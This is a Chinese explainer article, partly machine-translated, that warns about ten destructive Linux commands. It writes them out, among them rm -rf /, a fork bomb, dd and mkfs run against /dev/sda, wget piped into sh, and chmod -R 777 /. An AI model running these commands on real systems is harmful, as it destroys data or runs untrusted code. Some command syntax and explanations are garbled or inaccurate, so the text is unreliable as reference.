你不應該在 Linux 上運行的 10 個致命命令

與 Windows 或任何其他操作系統相比,Linux 操作系統為其用戶提供更多的獨立性。 雖然對於一些有經驗的開發人員來說,Linux 操作系統提供了執行操作的自由,但它也可能損害提供給這些開發人員的自由。 雖然每種技術都有其優點和缺點,但 Linux 也是如此。 最重要的是,用戶在執行之前應該對安全和致命的命令有充分的了解。 在這裡,我們將討論在沒有完全理解它們的含義的情況下永遠不要運行的致命命令。

1.遞歸刪除

刪除文件夾及其內容的最快方法之一是 rm -rf 命令。 多年來,它已經流行起來,因為它克服了 Windows 中刪除文件或文件夾時所面臨的錯誤。 此命令會擦除運行它的文件、文件夾或硬盤上的所有內容。 讓我們分解命令並了解它的真正含義:

rm – 刪除給定位置的所有文件

-rf – 該命令進一步分為兩部分:r 和 f。 r 代表遞歸地刪除所有文件,而 f 代表強制刪除所有文件而不提示用戶。

Internet 上有許多此命令的變體。 重要的是要了解一個人應該知道命令在特定文件夾上運行後會做什麼,否則數據可能會丟失。 無法以任何方式恢復從此命令丟失的數據。

  • R M – 此命令用於刪除文件您將提供的路徑中的所有文件
  • rm -r – 該命令用於從 Linux 操作系統的所有目錄和子目錄中遞歸刪除文件。
  • rm-f- 此命令用於在不提示用戶的情況下刪除提供的路徑上的文件。 這還包括刪除“只讀文件”。
  • rm -rf / – 這是最危險的命令之一,因為 / 指的是操作系統的根目錄。 該命令一旦運行,將強制遞歸刪除根目錄下的所有內容。 因此,您的所有目錄和子目錄都將被刪除,數據也將丟失。
  • rm -rf * – 此命令強制刪除工作目錄中的所有數據
  • rm-rf。 – 該命令強制刪除當前工作目錄及其子目錄中的文件。 它還會刪除目錄中的所有配置文件。

2.叉炸彈

因此,由於 Linux 在 Bash 上運行,因此在執行該命令之前了解該命令將對您的系統執行的操作非常重要。 這是一個簡單的 bash 一旦執行的函數會創建其自身的副本,而該副本又會創建另一組自身的副本。 這會消耗 CPU 時間和內存。 因此,它遞歸運行直到系統凍結。

:(){:|:&};:

3.覆蓋硬盤

如果您錯誤地或不小心在您的硬盤上執行了以下命令,那麼恢復是不可能的。

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. 內爆硬盤

就像俗話說的“剝貓皮的方法不止一種”,破壞硬盤的方法也不止一種。 在每個 Linux 系統中,dev/null 是一個特殊的位置,被表示為一個黑洞。 任何移動到這個黑洞的東西都會被摧毀。 如果您不小心將數據移動到此文件夾,您的數據將無法恢復。

mv /home/root/*  dev/null

上述命令將 home/root 文件夾中的所有數據移動到黑洞,從而導致數據丟失。 讓我們分解命令以了解每個部分的作用。

mv - This command is used for moving a folder to another location

/home/root/* – 這是要移動的文件夾的位置

dev/null——一個特殊的位置,表示為黑洞

因此,在運行移動命令時應該小心。 確保您要將文件夾移動到的位置在系統上存在。

5. 下載惡意腳本

我們都知道 Linux 中“wget”命令的好處,但我們不知道的是它可以下載惡意腳本和病毒以及有益的軟件。 如果您偶然運行了以下命令之一,您就會明白這是怎麼回事。

wget https://malicious_source -o- | sh
wget https://example.com/something  -o- | sh -
wget https: //an-untrusted-url -o- | sh

上述命令從提供的 URL 下載內容並運行下載的腳本。

6.格式化硬盤

還有另一個命令可以清除您的硬盤驅動器並使其成為新的。 這些應該只在您在雲或外部設備上有數據備份的情況下使用。

mkfs.ext3 /dev/sda

運行此命令與在 Windows 中的 C 驅動器上運行完整格式相同,其中所有文件將從驅動器中擦除乾淨並準備好進行新安裝。 為了讓您更容易理解。 讓我們分解這個命令。

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

同時,執行該命令時,會格式化硬盤上的指定分區,並根據上述命令中指定的文件系統ext3重新格式化。 因此,在您的系統上運行並丟失所有數據之前了解該命令的作用非常重要。

7. 刷新文件內容

刷新文件內容的命令很簡單,可以在任何情況下執行。

>file

如果您曾經執行過上述類型的任何命令,您就會看到指定文件的內容必須已被刷新。 “>”負責刷新文件的內容,因此,請仔細檢查您正在執行的命令。

8. 編輯上一條命令

這個命令是祝福也是咒詛。 雖然它可以更輕鬆地不再次鍵入所有先前的命令並執行它,但它也可以在您先前運行的命令中註入惡意內容。 因此,有必要確定您是否適合使用此命令。

^foo^bar

9. 將隨機垃圾寫入硬盤

如果你曾經遇到過下面提到的命令,那麼恭喜你,如果你瘋狂到實際執行這個命令,你可能也看到隨機垃圾被寫入你的硬盤驅動器。 此命令的後果是您的系統將無法恢復。

dd if=/dev/random of=/dev/sda

10. 修改-R 777/

此命令不會像每個部分中討論的所有其他命令那樣對您的系統產生物理影響,但這會在系統上造成安全漏洞。 通過執行此命令,您為系統的所有用戶提供了在您的文件系統上讀取、寫入和執行數據的能力。 因此,請明智地使用此命令。

希望這些關於致命命令的詳細信息能夠防止您從系統中丟失數據。 如果這對您有幫助,請在下面的評論部分告訴我們。